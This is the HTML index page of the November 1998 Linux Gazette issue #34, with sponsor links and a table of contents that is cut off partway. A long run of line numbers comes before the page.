10334 10335 10336 10337 10338 10339 10340 10341 10342 10343 10344 10345 10346 10347 10348 10349 10350 10351 10352 10353 10354 10355 10356 10357 10358 10359 10360 10361 10362 10363 10364 10365 10366 10367 10368 10369 10370 10371 10372 10373 10374 10375 10376 10377 10378 10379 10380 10381 10382 10383 10384 10385 10386 10387 10388 10389 10390 10391 10392 10393 10394 10395 10396 10397 10398 10399 10400 10401 10402 10403 10404 10405 10406 10407 10408 10409 10410 10411 10412 10413 10414 10415 10416 10417 10418 10419 10420 10421 10422 10423 10424 10425 10426 10427 10428 10429 10430 10431 10432 10433 10434 10435 10436 10437 10438 10439 10440 10441 10442 10443 10444 10445 10446 10447 10448 10449 10450 10451 10452 10453 10454 10455 10456 10457 10458 10459 10460 10461 10462 10463 10464 10465 10466 10467 10468 10469 10470 10471 10472 10473 10474 10475 10476 10477 10478 10479 10480 10481 10482 10483 10484 10485 10486 10487 10488 10489 10490 10491 10492 10493 10494 10495 10496 10497 10498 10499 10500 10501 10502 10503 10504 10505 10506 10507 10508 10509 10510 10511 10512 10513 10514 10515 10516 10517 10518 10519 10520 10521 10522 10523 10524 10525 10526 10527 10528 10529 10530 10531 10532 10533 10534 10535 10536 10537 10538 10539 10540 10541 10542 10543 10544 10545 10546 10547 10548 10549 10550 10551 10552 10553 10554 10555 10556 10557 10558 10559 10560 10561 10562 10563 10564 10565 10566 10567 10568 10569 10570 10571 10572 10573 10574 10575 10576 10577 10578 10579 10580 10581 10582 10583 10584 10585 10586 10587 10588 10589 10590 10591 10592 10593 10594 10595 10596 10597 10598 10599 10600 10601 10602 10603 10604 10605 10606 10607 10608 10609 10610 10611 10612 10613 10614 10615 10616 10617 10618 10619 10620 10621 10622 10623 10624 10625 10626 10627 10628 10629 10630 10631 10632 10633 10634 10635 10636 10637 10638 10639 10640 10641 10642 10643 10644 10645 10646 10647 10648 10649 10650 10651 10652 10653 10654 10655 10656 10657 10658 10659 10660 10661 10662 10663 10664 10665 10666 10667 10668 10669 10670 10671 10672 10673 10674 10675 10676 10677 10678 10679 10680 10681 10682 10683 10684 10685 10686 10687 10688 10689 10690 10691 10692 10693 10694 10695 10696 10697 10698 10699 10700 10701 10702 10703 10704 10705 10706 10707 10708 10709 10710 10711 10712 10713 10714 10715 10716 10717 10718 10719 10720 10721 10722 10723 10724 10725 10726 10727 10728 10729 10730 10731 10732 10733 10734 10735 10736 10737 10738 10739 10740 10741 10742 10743 10744 10745 10746 10747 10748 10749 10750 10751 10752 10753 10754 10755 10756 10757 10758 10759 10760 10761 10762 10763 10764 10765 10766 10767 10768 10769 10770 10771 10772 10773 10774 10775 10776 10777 10778 10779 10780 10781 10782 10783 10784 10785 10786 10787 10788 10789 10790 10791 10792 10793 10794 10795 10796 10797 10798 10799 10800 10801 10802 10803 10804 10805 10806 10807 10808 10809 10810 10811 10812 10813 10814 10815 10816 10817 10818 10819 10820 10821 10822 10823 10824 10825 10826 10827 10828 10829 10830 10831 10832 10833 10834 10835 10836 10837 10838 10839 10840 10841 10842 10843 10844 10845 10846 10847 10848 10849 10850 10851 10852 10853 10854 10855 10856 10857 10858 10859 10860 10861 10862 10863 10864 10865 10866 10867 10868 10869 10870 10871 10872 10873 10874 10875 10876 10877 10878 10879 10880 10881 10882 10883 10884 10885 10886 10887 10888 10889 10890 10891 10892 10893 10894 10895 10896 10897 10898 10899 10900 10901 10902 10903 10904 10905 10906 10907 10908 10909 10910 10911 10912 10913 10914 10915 10916 10917 10918 10919 10920 10921 10922 10923 10924 10925 10926 10927 10928 10929 10930 10931 10932 10933 10934 10935 10936 10937 10938 10939 10940 10941 10942 10943 10944 10945 10946 10947 10948 10949 10950 10951 10952 10953 10954 10955 10956 10957 10958 10959 10960 10961 10962 10963 10964 10965 10966 10967 10968 10969 10970 10971 10972 10973 10974 10975 10976 10977 10978 10979 10980 10981 10982 10983 10984 10985 10986 10987 10988 10989 10990 10991 10992 10993 10994 10995 10996 10997 10998 10999 11000 11001 11002 11003 11004 11005 11006 11007 11008 11009 11010 11011 11012 11013 11014 11015 11016 11017 11018 11019 11020 11021 11022 11023 11024 11025 11026 11027 11028 11029 11030 11031 11032 11033 11034 11035 11036 11037 11038 11039 11040 11041 11042 11043 11044 11045 11046 11047 11048 11049 11050 11051 11052 11053 11054 11055 11056 11057 11058 11059 11060 11061 11062 11063 11064 11065 11066 11067 11068 11069 11070 11071 11072 11073 11074 11075 11076 11077 11078 11079 11080 11081 11082 11083 11084 11085 11086 11087 11088 11089 11090 11091 11092 11093 11094 11095 11096 11097 11098 11099 11100 11101 11102 11103 11104 11105 11106 11107 11108 11109 11110 11111 11112 11113 11114 11115 11116 11117 11118 11119 11120 11121 11122 11123 11124 11125 11126 11127 11128 11129 11130 11131 11132 11133 11134 11135 11136 11137 11138 11139 11140 11141 11142 11143 11144 11145 11146 11147 11148 11149 11150 11151 11152 11153 11154 11155 11156 11157 11158 11159 11160 11161 11162 11163 11164 11165 11166 11167 11168 11169 11170 11171 11172 11173 11174 11175 11176 11177 11178 11179 11180 11181 11182 11183 11184 11185 11186 11187 11188 11189 11190 11191 11192 11193 11194 11195 11196 11197 11198 11199 11200 11201 11202 11203 11204 11205 11206 11207 11208 11209 11210 11211 11212 11213 11214 11215 11216 11217 11218 11219 11220 11221 11222 11223 11224 11225 11226 11227 11228 11229 11230 11231 11232 11233 11234 11235 11236 11237 11238 11239 11240 11241 11242 11243 11244 11245 11246 11247 11248 11249 11250 11251 11252 11253 11254 11255 11256 11257 11258 11259 11260 11261 11262 11263 11264 11265 11266 11267 11268 11269 11270 11271 11272 11273 11274 11275 11276 11277 11278 11279 11280 11281 11282 11283 11284 11285 11286 11287 11288 11289 11290 11291 11292 11293 11294 11295 11296 11297 11298 11299 11300 11301 11302 11303 11304 11305 11306 11307 11308 11309 11310 11311 11312 11313 11314 11315 11316 11317 11318 11319 11320 11321 11322 11323 11324 11325 11326 11327 11328 11329 11330 11331 11332 11333 11334 11335 11336 11337 11338 11339 11340 11341 11342 11343 11344 11345 11346 11347 11348 11349 11350 11351 11352 11353 11354 11355 11356 11357 11358 11359 11360 11361 11362 11363 11364 11365 11366 11367 11368 11369 11370 11371 11372 11373 11374 11375 11376 11377 11378 11379 11380 11381 11382 11383 11384 11385 11386 11387 11388 11389 11390 11391 11392 11393 11394 11395 11396 11397 11398 11399 11400 11401 11402 11403 11404 11405 11406 11407 11408 11409 11410 11411 11412 11413 11414 11415 11416 11417 11418 11419 11420 11421 11422 11423 11424 11425 11426 11427 11428 11429 11430 11431 11432 11433 11434 11435 11436 11437 11438 11439 11440 11441 11442 11443 11444 11445 11446 11447 11448 11449 11450 11451 11452 11453 11454 11455 11456 11457 11458 11459 11460 11461 11462 11463 11464 11465 11466 11467 11468 11469 11470 11471 11472 11473 11474 11475 11476 11477 11478 11479 11480 11481 11482 11483 11484 11485 11486 11487 11488 11489 11490 11491 11492 11493 11494 11495 11496 11497 11498 11499 11500 11501 11502 11503 11504 11505 11506 11507 11508 11509 11510 11511 11512 11513 11514 11515 11516 11517 11518 11519 11520 11521 11522 11523 11524 11525 11526 11527 11528 11529 11530 11531 11532 11533 11534 11535 11536 11537 11538 11539 11540 11541 11542 11543 11544 11545 11546 11547 11548 11549 11550 11551 11552 11553 11554 11555 11556 11557 11558 11559 11560 11561 11562 11563 11564 11565 11566 11567 11568 11569 11570 11571 11572 11573 11574 11575 11576 11577 11578 11579 11580 11581 11582 11583 11584 11585 11586 11587 11588 11589 11590 11591 11592 11593 11594 11595 11596 11597 11598 11599 11600 11601 11602 11603 11604 11605 11606 11607 11608 11609 11610 11611 11612 11613 11614 11615 11616 11617 11618 11619 11620 11621 11622 11623 11624 11625 11626 11627 11628 11629 11630 11631 11632 11633 11634 11635 11636 11637 11638 11639 11640 11641 11642 11643 11644 11645 11646 11647 11648 11649 11650 11651 11652 11653 11654 11655 11656 11657 11658 11659 11660 11661 11662 11663 11664 11665 11666 11667 11668 11669 11670 11671 11672 11673 11674 11675 11676 11677 11678 11679 11680 11681 11682 11683 11684 11685 11686 11687 11688 11689 11690 11691 11692 11693 11694 11695 11696 11697 11698 11699 11700 11701 11702 11703 11704 11705 11706 11707 11708 11709 11710 11711 11712 11713 11714 11715 11716 11717 11718 11719 11720 11721 11722 11723 11724 11725 11726 11727 11728 11729 11730 11731 11732 11733 11734 11735 11736 11737 11738 11739 11740 11741 11742 11743 11744 11745 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11770 11771 11772 11773 11774 11775 11776 11777 11778 11779 11780 11781 11782 11783 11784 11785 11786 11787 11788 11789 11790 11791 11792 11793 11794 11795 11796 11797 11798 11799 11800 11801 11802 11803 11804 11805 11806 11807 11808 11809 11810 11811 11812 11813 11814 11815 11816 11817 11818 11819 11820 11821 11822 11823 11824 11825 11826 11827 11828 11829 11830 11831 11832 11833 11834 11835 11836 11837 11838 11839 11840 11841 11842 11843 11844 11845 11846 11847 11848 11849 11850 11851 11852 11853 11854 11855 11856 11857 11858 11859 11860 11861 11862 11863 11864 11865 11866 11867 11868 11869 11870 11871 11872 11873 11874 11875 11876 11877 11878 11879 11880 11881 11882 11883 11884 11885 11886 11887 11888 11889 11890 11891 11892 11893 11894 11895 11896 11897 11898 11899 11900 11901 11902 11903 11904 11905 11906 11907 11908 11909 11910 11911 11912 11913 11914 11915 11916 11917 11918 11919 11920 11921 11922 11923 11924 11925 11926 11927 11928 11929 11930 11931 11932 11933 11934 11935 11936 11937 11938 11939 11940 11941 11942 11943 11944 11945 11946 11947 11948 11949 11950 11951 11952 11953 11954 11955 11956 11957 11958 11959 11960 11961 11962 11963 11964 11965 11966 11967 11968 11969 11970 11971 11972 11973 11974 11975 11976 11977 11978 11979 11980 11981 11982 11983 11984 11985 11986 11987 11988 11989 11990 11991 11992 11993 11994 11995 11996 11997 11998 11999 12000 12001 12002 12003 12004 12005 12006 12007 12008 12009 12010 12011 12012 12013 12014 12015 12016 12017 12018 12019 12020 12021 12022 12023 12024 12025 12026 12027 12028 12029 12030 12031 12032 12033 12034 12035 12036 12037 12038 12039 12040 12041 12042 12043 12044 12045 12046 12047 12048 12049 12050 12051 12052 12053 12054 12055 12056 12057 12058 12059 12060 12061 12062 12063 12064 12065 12066 12067 12068 12069 12070 12071 12072 12073 12074 12075 12076 12077 12078 12079 12080 12081 12082 12083 12084 12085 12086 12087 12088 12089 12090 12091 12092 12093 12094 12095 12096 12097 12098 12099 12100 12101 12102 12103 12104 12105 12106 12107 12108 12109 12110 12111 12112 12113 12114 12115 12116 12117 12118 12119 12120 12121 12122 12123 12124 12125 12126 12127 12128 12129 12130 12131 12132 12133 12134 12135 12136 12137 12138 12139 12140 12141 12142 12143 12144 12145 12146 12147 12148 12149 12150 12151 12152 12153 12154 12155 12156 12157 12158 12159 12160 12161 12162 12163 12164 12165 12166 12167 12168 12169 12170 12171 12172 12173 12174 12175 12176 12177 12178 12179 12180 12181 12182 12183 12184 12185 12186 12187 12188 12189 12190 12191 12192 12193 12194 12195 12196 12197 12198 12199 12200 12201 12202 12203 12204 12205 12206 12207 12208 12209 12210 12211 12212 12213 12214 12215 12216 12217 12218 12219 12220 12221 12222 12223 12224 12225 12226 12227 12228 12229 12230 12231 12232 12233 12234 12235 12236 12237 12238 12239 12240 12241 12242 12243 12244 12245 12246 12247 12248 12249 12250 12251 12252 12253 12254 12255 12256 12257 12258 12259 12260 12261 12262 12263 12264 12265 12266 12267 12268 12269 12270 12271 12272 12273 12274 12275 12276 12277 12278 12279 12280 12281 12282 12283 12284 12285 12286 12287 12288 12289 12290 12291 12292 12293 12294 12295 12296 12297 12298 12299 12300 12301 12302 12303 12304 12305 12306 12307 12308 12309 12310 12311 12312 12313 12314 12315 12316 12317 12318 12319 12320 12321 12322 12323 12324 12325 12326 12327 12328 12329 12330 12331 12332 12333 12334 12335 12336 12337 12338 12339 12340 12341 12342 12343 12344 12345 12346 12347 12348 12349 12350 12351 12352 12353 12354 12355 12356 12357 12358 12359 12360 12361 12362 12363 12364 12365 12366 12367 12368 12369 12370 12371 12372 12373 12374 12375 12376 12377 12378 12379 12380 12381 12382 12383 12384 12385 12386 12387 12388 12389 12390 12391 12392 12393 12394 12395 12396 12397 12398 12399 12400 12401 12402 12403 12404 12405 12406 12407 12408 12409 12410 12411 12412 12413 12414 12415 12416 12417 12418 12419 12420 12421 12422 12423 12424 12425 12426 12427 12428 12429 12430 12431 12432 12433 12434 12435 12436 12437 12438 12439 12440 12441 12442 12443 12444 12445 12446 12447 12448 12449 12450 12451 12452 12453 12454 12455 12456 12457 12458 12459 12460 12461 12462 12463 12464 12465 12466 12467 12468 12469 12470 12471 12472 12473 12474 12475 12476 12477 12478 12479 12480 12481 12482 12483 12484 12485 12486 12487 12488 12489 12490 12491 12492 12493 12494 12495 12496 12497 12498 12499 12500 12501 12502 12503 12504 12505 12506 12507 12508 12509 12510 12511 12512 12513 12514 12515 12516 12517 12518 12519 12520 12521 12522 12523 12524 12525 12526 12527 12528 12529 12530 12531 12532 12533 12534 12535 12536 12537 12538 12539 12540 12541 12542 12543 12544 12545 12546 12547 12548 12549 12550 12551 12552 12553 12554 12555 12556 12557 12558 12559 12560 12561 12562 12563 12564 12565 12566 12567 12568 12569 12570 12571 12572 12573 12574 12575 12576 12577 12578 12579 12580 12581 12582 12583 12584 12585 12586 12587 12588 12589 12590 12591 12592 12593 12594 12595 12596 12597 12598 12599 12600 12601 12602 12603 12604 12605 12606 12607 12608 12609 12610 12611 12612 12613 12614 12615 12616 12617 12618 12619 12620 12621 12622 12623 12624 12625 12626 12627 12628 12629 12630 12631 12632 12633 12634 12635 12636 12637 12638 12639 12640 12641 12642 12643 12644 12645 12646 12647 12648 12649 12650 12651 12652 12653 12654 12655 12656 12657 12658 12659 12660 12661 12662 12663 12664 12665 12666 12667 12668 12669 12670 12671 12672 12673 12674 12675 12676 12677 12678 12679 12680 12681 12682 12683 12684 12685 12686 12687 12688 12689 12690 12691 12692 12693 12694 12695 12696 12697 12698 12699 12700 12701 12702 12703 12704 12705 12706 12707 12708 12709 12710 12711 12712 12713 12714 12715 12716 12717 12718 12719 12720 12721 12722 12723 12724 12725 12726 12727 12728 12729 12730 12731 12732 12733 12734 12735 12736 12737 12738 12739 12740 12741 12742 12743 12744 12745 12746 12747 12748 12749 12750 12751 12752 12753 12754 12755 12756 12757 12758 12759 12760 12761 12762 12763 12764 12765 12766 12767 12768 12769 12770 12771 12772 12773 12774 12775 12776 12777 12778 12779 12780 12781 12782 12783 12784 12785 12786 12787 12788 12789 12790 12791 12792 12793 12794 12795 12796 12797 12798 12799 12800 12801 12802 12803 12804 12805 12806 12807 12808 12809 12810 12811 12812 12813 12814 12815 12816 12817 12818 12819 12820 12821 12822 12823 12824 12825 12826 12827 12828 12829 12830 12831 12832 12833 12834 12835 12836 12837 12838 12839 12840 12841 12842 12843 12844 12845 12846 12847 12848 12849 12850 12851 12852 12853 12854 12855 12856 12857 12858 12859 12860 12861 12862 12863 12864 12865 12866 12867 12868 12869 12870 12871 12872 12873 12874 12875 12876 12877 12878 12879 12880 12881 12882 12883 12884 12885 12886 12887 12888 12889 12890 12891 12892 12893 12894 12895 12896 12897 12898 12899 12900 12901 12902 12903 12904 12905 12906 12907 12908 12909 12910 12911 12912 12913 12914 12915 12916 12917 12918 12919 12920 12921 12922 12923 12924 12925 12926 12927 12928 12929 12930 12931 12932 12933 12934 12935 12936 12937 12938 12939 12940 12941 12942 12943 12944 12945 12946 12947 12948 12949 12950 12951 12952 12953 12954 12955 12956 12957 12958 12959 12960 12961 12962 12963 12964 12965 12966 12967 12968 12969 12970 12971 12972 12973 12974 12975 12976 12977 12978 12979 12980 12981 12982 12983 12984 12985 12986 12987 12988 12989 12990 12991 12992 12993 12994 12995 12996 12997 12998 12999 13000 13001 13002 13003 13004 13005 13006 13007 13008 13009 13010 13011 13012 13013 13014 13015 13016 13017 13018 13019 13020 13021 13022 13023 13024 13025 13026 13027 13028 13029 13030 13031 13032 13033 13034 13035 13036 13037 13038 13039 13040 13041 13042 13043 13044 13045 13046 13047 13048 13049 13050 13051 13052 13053 13054 13055 13056 13057 13058 13059 13060 13061 13062 13063 13064 13065 13066 13067 13068 13069 13070 13071 13072 13073 13074 13075 13076 13077 13078 13079 13080 13081 13082 13083 13084 13085 13086 13087 13088 13089 13090 13091 13092 13093 13094 13095 13096 13097 13098 13099 13100 13101 13102 13103 13104 13105 13106 13107 13108 13109 13110 13111 13112 13113 13114 13115 13116 13117 13118 13119 13120 13121 13122 13123 13124 13125 13126 13127 13128 13129 13130 13131 13132 13133 13134 13135 13136 13137 13138 13139 13140 13141 13142 13143 13144 13145 13146 13147 13148 13149 13150 13151 13152 13153 13154 13155 13156 13157 13158 13159 13160 13161 13162 13163 13164 13165 13166 13167 13168 13169 13170 13171 13172 13173 13174 13175 13176 13177 13178 13179 13180 13181 13182 13183 13184 13185 13186 13187 13188 13189 13190 13191 13192 13193 13194 13195 13196 13197 13198 13199 13200 13201 13202 13203 13204 13205 13206 13207 13208 13209 13210 13211 13212 13213 13214 13215 13216 13217 13218 13219 13220 13221 13222 13223 13224 13225 13226 13227 13228 13229 13230 13231 13232 13233 13234 13235 13236 13237 13238 13239 13240 13241 13242 13243 13244 13245 13246 13247 13248 13249 13250 13251 13252 13253 13254 13255 13256 13257 13258 13259 13260 13261 13262 13263 13264 13265 13266 13267 13268 13269 13270 13271 13272 13273 13274 13275 13276 13277 13278 13279 13280 13281 13282 13283 13284 13285 13286 13287 13288 13289 13290 13291 13292 13293 13294 13295 13296 13297 13298 13299 13300 13301 13302 13303 13304 13305 13306 13307 13308 13309 13310 13311 13312 13313 13314 13315 13316 13317 13318 13319 13320 13321 13322 13323 13324 13325 13326 13327 13328 13329 13330 13331 13332 13333 13334 13335 13336 13337 13338 13339 13340 13341 13342 13343 13344 13345 13346 13347 13348 13349 13350 13351 13352 13353 13354 13355 13356 13357 13358 13359 13360 13361 13362 13363 13364 13365 13366 13367 13368 13369 13370 13371 13372 13373 13374 13375 13376 13377 13378 13379 13380 13381 13382 13383 13384 13385 13386 13387 13388 13389 13390 13391 13392 13393 13394 13395 13396 13397 13398 13399 13400 13401 13402 13403 13404 13405 13406 13407 13408 13409 13410 13411 13412 13413 13414 13415 13416 13417 13418 13419 13420 13421 13422 13423 13424 13425 13426 13427 13428 13429 13430 13431 13432 13433 13434 13435 13436 13437 13438 13439 13440 13441 13442 13443 13444 13445 13446 13447 13448 13449 13450 13451 13452 13453 13454 13455 13456 13457 13458 13459 13460 13461 13462 13463 13464 13465 13466 13467 13468 13469 13470 13471 13472 13473 13474 13475 13476 13477 13478 13479 13480 13481 13482 13483 13484 13485 13486 13487 13488 13489 13490 13491 13492 13493 13494 13495 13496 13497 13498 13499 13500 13501 13502 13503 13504 13505 13506 13507 13508 13509 13510 13511 13512 13513 13514 13515 13516 13517 13518 13519 13520 13521 13522 13523 13524 13525 13526 13527 13528 13529 13530 13531 13532 13533 13534 13535 13536 13537 13538 13539 13540 13541 13542 13543 13544 13545 13546 13547 13548 13549 13550 13551 13552 13553 13554 13555 13556 13557 13558 13559 13560 13561 13562 13563 13564 13565 13566 13567 13568 13569 13570 13571 13572 13573 13574 13575 13576 13577 13578 13579 13580 13581 13582 13583 13584 13585 13586 13587 13588 13589 13590 13591 13592 13593 13594 13595 13596 13597 13598 13599 13600 13601 13602 13603 13604 13605 13606 13607 13608 13609 13610 13611 13612 13613 13614 13615 13616 13617 13618 13619 13620 13621 13622 13623 13624 13625 13626 13627 13628 13629 13630 13631 13632 13633 13634 13635 13636 13637 13638 13639 13640 13641 13642 13643 13644 13645 13646 13647 13648 13649 13650 13651 13652 13653 13654 13655 13656 13657 13658 13659 13660 13661 13662 13663 13664 13665 13666 13667 13668 13669 13670 13671 13672 13673 13674 13675 13676 13677 13678 13679 13680 13681 13682 13683 13684 13685 13686 13687 13688 13689 13690 13691 13692 13693 13694 13695 13696 13697 13698 13699 13700 13701 13702 13703 13704 13705 13706 13707 13708 13709 13710 13711 13712 13713 13714 13715 13716 13717 13718 13719 13720 13721 13722 13723 13724 13725 13726 13727 13728 13729 13730 13731 13732 13733 13734 13735 13736 13737 13738 13739 13740 13741 13742 13743 13744 13745 13746 13747 13748 13749 13750 13751 13752 13753 13754 13755 13756 13757 13758 13759 13760 13761 13762 13763 13764 13765 13766 13767 13768 13769 13770 13771 13772 13773 13774 13775 13776 13777 13778 13779 13780 13781 13782 13783 13784 13785 13786 13787 13788 13789 13790 13791 13792 13793 13794 13795 13796 13797 13798 13799 13800 13801 13802 13803 13804 13805 13806 13807 13808 13809 13810 13811 13812 13813 13814 13815 13816 13817 13818 13819 13820 13821 13822 13823 13824 13825 13826 13827 13828 13829 13830 13831 13832 13833 13834 13835 13836 13837 13838 13839 13840 13841 13842 13843 13844 13845 13846 13847 13848 13849 13850 13851 13852 13853 13854 13855 13856 13857 13858 13859 13860 13861 13862 13863 13864 13865 13866 13867 13868 13869 13870 13871 13872 13873 13874 13875 13876 13877 13878 13879 13880 13881 13882 13883 13884 13885 13886 13887 13888 13889 13890 13891 13892 13893 13894 13895 13896 13897 13898 13899 13900 13901 13902 13903 13904 13905 13906 13907 13908 13909 13910 13911 13912 13913 13914 13915 13916 13917 13918 13919 13920 13921 13922 13923 13924 13925 13926 13927 13928 13929 13930 13931 13932 13933 13934 13935 13936 13937 13938 13939 13940 13941 13942 13943 13944 13945 13946 13947 13948 13949 13950 13951 13952 13953 13954 13955 13956 13957 13958 13959 13960 13961 13962 13963 13964 13965 13966 13967 13968 13969 13970 13971 13972 13973 13974 13975 13976 13977 13978 13979 13980 13981 13982 13983 13984 13985 13986 13987 13988 13989 13990 13991 13992 13993 13994 13995 13996 13997 13998 13999 14000 14001 14002 14003 14004 14005 14006 14007 14008 14009 14010 14011 14012 14013 14014 14015 14016 14017 14018 14019 14020 14021 14022 14023 14024 14025 14026 14027 14028 14029 14030 14031 14032 14033 14034 14035 14036 14037 14038 14039 14040 14041 14042 14043 14044 14045 14046 14047 14048 14049 14050 14051 14052 14053 14054 14055 14056 14057 14058 14059 14060 14061 14062 14063 14064 14065 14066 14067 14068 14069 14070 14071 14072 14073 14074 14075 14076 14077 14078 14079 14080 14081 14082 14083 14084 14085 14086 14087 14088 14089 14090 14091 14092 14093 14094 14095 14096 14097 14098 14099 14100 14101 14102 14103 14104 14105 14106 14107 14108 14109 14110 14111 14112 14113 14114 14115 14116 14117 14118 14119 14120 14121 14122 14123 14124 14125 14126 14127 14128 14129 14130 14131 14132 14133 14134 14135 14136 14137 14138 14139 14140 14141 14142 14143 14144 14145 14146 14147 14148 14149 14150 14151 14152 14153 14154 14155 14156 14157 14158 14159 14160 14161 14162 14163 14164 14165 14166 14167 14168 14169 14170 14171 14172 14173 14174 14175 14176 14177 14178 14179 14180 14181 14182 14183 14184 14185 14186 14187 14188 14189 14190 14191 14192 14193 14194 14195 14196 14197 14198 14199 14200 14201 14202 14203 14204 14205 14206 14207 14208 14209 14210 14211 14212 14213 14214 14215 14216 14217 14218 14219 14220 14221 14222 14223 14224 14225 14226 14227 14228 14229 14230 14231 14232 14233 14234 14235 14236 14237 14238 14239 14240 14241 14242 14243 14244 14245 14246 14247 14248 14249 14250 14251 14252 14253 14254 14255 14256 14257 14258 14259 14260 14261 14262 14263 14264 14265 14266 14267 14268 14269 14270 14271 14272 14273 14274 14275 14276 14277 14278 14279 14280 14281 14282 14283 14284 14285 14286 14287 14288 14289 14290 14291 14292 14293 14294 14295 14296 14297 14298 14299 14300 14301 14302 14303 14304 14305 14306 14307 14308 14309 14310 14311 14312 14313 14314 14315 14316 14317 14318 14319 14320 14321 14322 14323 14324 14325 14326 14327 14328 14329 14330 14331 14332 14333 14334 14335 14336 14337 14338 14339 14340 14341 14342 14343 14344 14345 14346 14347 14348 14349 14350 14351 14352 14353 14354 14355 14356 14357 14358 14359 14360 14361 14362 14363 14364 14365 14366 14367 14368 14369 14370 14371 14372 14373 14374 14375 14376 14377 14378 14379 14380 14381 14382 14383 14384 14385 14386 14387 14388 14389 14390 14391 14392 14393 14394 14395 14396 14397 14398 14399 14400 14401 14402 14403 14404 14405 14406 14407 14408 14409 14410 14411 14412 14413 14414 14415 14416 14417 14418 14419 14420 14421 14422 14423 14424 14425 14426 14427 14428 14429 14430 14431 14432 14433 14434 14435 14436 14437 14438 14439 14440 14441 14442 14443 14444 14445 14446 14447 14448 14449 14450 14451 14452 14453 14454 14455 14456 14457 14458 14459 14460 14461 14462 14463 14464 14465 14466 14467 14468 14469 14470 14471 14472 14473 14474 14475 14476 14477 14478 14479 14480 14481 14482 14483 14484 14485 14486 14487 14488 14489 14490 14491 14492 14493 14494 14495 14496 14497 14498 14499 14500 14501 14502 14503 14504 14505 14506 14507 14508 14509 14510 14511 14512 14513 14514 14515 14516 14517 14518 14519 14520 14521 14522 14523 14524 14525 14526 14527 14528 14529 14530 14531 14532 14533 14534 14535 14536 14537 14538 14539 14540 14541 14542 14543 14544 14545 14546 14547 14548 14549 14550 14551 14552 14553 14554 14555 14556 14557 14558 14559 14560 14561 14562 14563 14564 14565 14566 14567 14568 14569 14570 14571 14572 14573 14574 14575 14576 14577 14578 14579 14580 14581 14582 14583 14584 14585 14586 14587 14588 14589 14590 14591 14592 14593 14594 14595 14596 14597 14598 14599 14600 14601 14602 14603 14604 14605 14606 14607 14608 14609 14610 14611 14612 14613 14614 14615 14616 14617 14618 14619 14620 14621 14622 14623 14624 14625 14626 14627 14628 14629 14630 14631 14632 14633 14634 14635 14636 14637 14638 14639 14640 14641 14642 14643 14644 14645 14646 14647 14648 14649 14650 14651 14652 14653 14654 14655 14656 14657 14658 14659 14660 14661 14662 14663 14664 14665 14666 14667 14668 14669 14670 14671 14672 14673 14674 14675 14676 14677 14678 14679 14680 14681 14682 14683 14684 14685 14686 14687 14688 14689 14690 14691 14692 14693 14694 14695 14696 14697 14698 14699 14700 14701 14702 14703 14704 14705 14706 14707 14708 14709 14710 14711 14712 14713 14714 14715 14716 14717 14718 14719 14720 14721 14722 14723 14724 14725 14726 14727 14728 14729 14730 14731 14732 14733 14734 14735 14736 14737 14738 14739 14740 14741 14742 14743 14744 14745 14746 14747 14748 14749 14750 14751 14752 14753 14754 14755 14756 14757 14758 14759 14760 14761 14762 14763 14764 14765 14766 14767 14768 14769 14770
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<TITLE> Linux Gazette Index Page </TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000FF" VLINK="#A000A0"
ALINK="#FF0000" >
<center><H2><IMG SRC="../gx/newlogo.jpg"
ALT="Linux Gazette... making Linux just a little more fun!">
</H2>
<H5>Copyright © 1996-98 Specialized Systems Consultants, Inc.</H5>
</center>
<P> <HR> <P>
<!--==================================================================-->
<center>
<H1><A HREF="http://www.linuxgazette.com/">Welcome to Linux
Gazette!</A><img src="../gx/tm.gif" alt="(tm)"></H1>
</center>
<P> <HR> <P>
<!--==================================================================-->
<H1>Published by:</H1>
<center>
<H1><A HREF="http://www.ssc.com/lj/">
<img src="../gx/ljlogo.gif" alt="Linux Journal" border=0></A></H1>
</center>
<P><HR> <P>
<H1>Sponsored by:</H1>
<table>
<tr>
<td><H1><A HREF="http://www.infomagic.com/"><img ALIGN="bottom" HSPACE="50"
src=../gx/infologo.gif alt="InfoMagic" border=0></A></H1></td>
<td>
<H1><A HREF="http://www.suse.com/"><img ALIGN="bottom" src=../gx/suse.gif alt="S.u.S.E." border=0></A></H1></td>
<td>
<H1><A HREF="http://www.redhat.com/"><img HSPACE="50" src=../gx/redhat.gif alt="Red Hat" border=0></A></H1></td>
</tr>
<tr>
<td><H1><A HREF="http://www.LinuxMall.com/"><img ALIGN="bottom" HSPACE="50"
src=../gx/linuxmall.gif alt="LinuxMall" border=0></A></H1></td>
<td><H1><A HREF="http://www.linuxresources.com/"><img ALIGN="bottom"
src=../gx/linux6.gif alt="Linux Resources" border=0></A></H1></td>
<td><H1><A HREF="http://www.mozilla.com/"><img HSPACE="50"
src=../gx/mozilla.gif alt="Mozilla" border=0></A></H1></td>
</tr>
<tr>
<td><H1><A HREF="http://www.cyclades.com/"><img ALIGN="bottom" HSPACE="50" src=../gx/cyclades.gif alt="cyclades" border=0></A></H1></td>
</tr>
</table>
<P>
Our sponsors make financial contributions toward the costs of
publishing <I>Linux Gazette</I>. If you would like to become a sponsor
of <I>LG</I>, e-mail us at <A
HREF="mailto:sponsor@ssc.com">sponsor@ssc.com</A>.
<P>
<I>Linux Gazette</I> is a non-commercial, freely available publication and will
remain that way. Show your support by using the products of our sponsors
and publisher.
<P> <HR> <P>
<!--=================================================================-->
<H1 align="center">Table of Contents <BR>November 1998 Issue #34</H1>
<P> <HR> <P>
<table><tr>
<td rowspan=4>
<UL>
<LI><A HREF="../lg_frontpage.html">The Front Page</A>
<LI><A HREF="./lg_mail34.html">The MailBag</A>
<ul>
<li><a HREF="./lg_mail34.html#help">Help Wanted</a>
<li><a HREF="./lg_mail34.html#gen">General Mail</a>
</ul>
<LI><A HREF="./lg_tips34.html">More 2 Cent Tips</A>
<LI><A HREF="./lg_bytes34.html">News Bytes</A>
<ul>
<li><a HREF="./lg_bytes34.html#general">News in General</a>
<li><a HREF="./lg_bytes34.html#software">Software Announcements</a>
</ul>
<LI><A HREF="./lg_answer34.html">The Answer Guy</A>, by James T. Dennis
<LI><A HREF="./izquierdo.html">Building an Automatic FTP Retriever</a>, by
Manuel Arturo Izquierdo
<LI><A HREF="./jachim.html">Building an IDE CD-ROM Server</A>, by Ron
Jachim and Howard Cokl
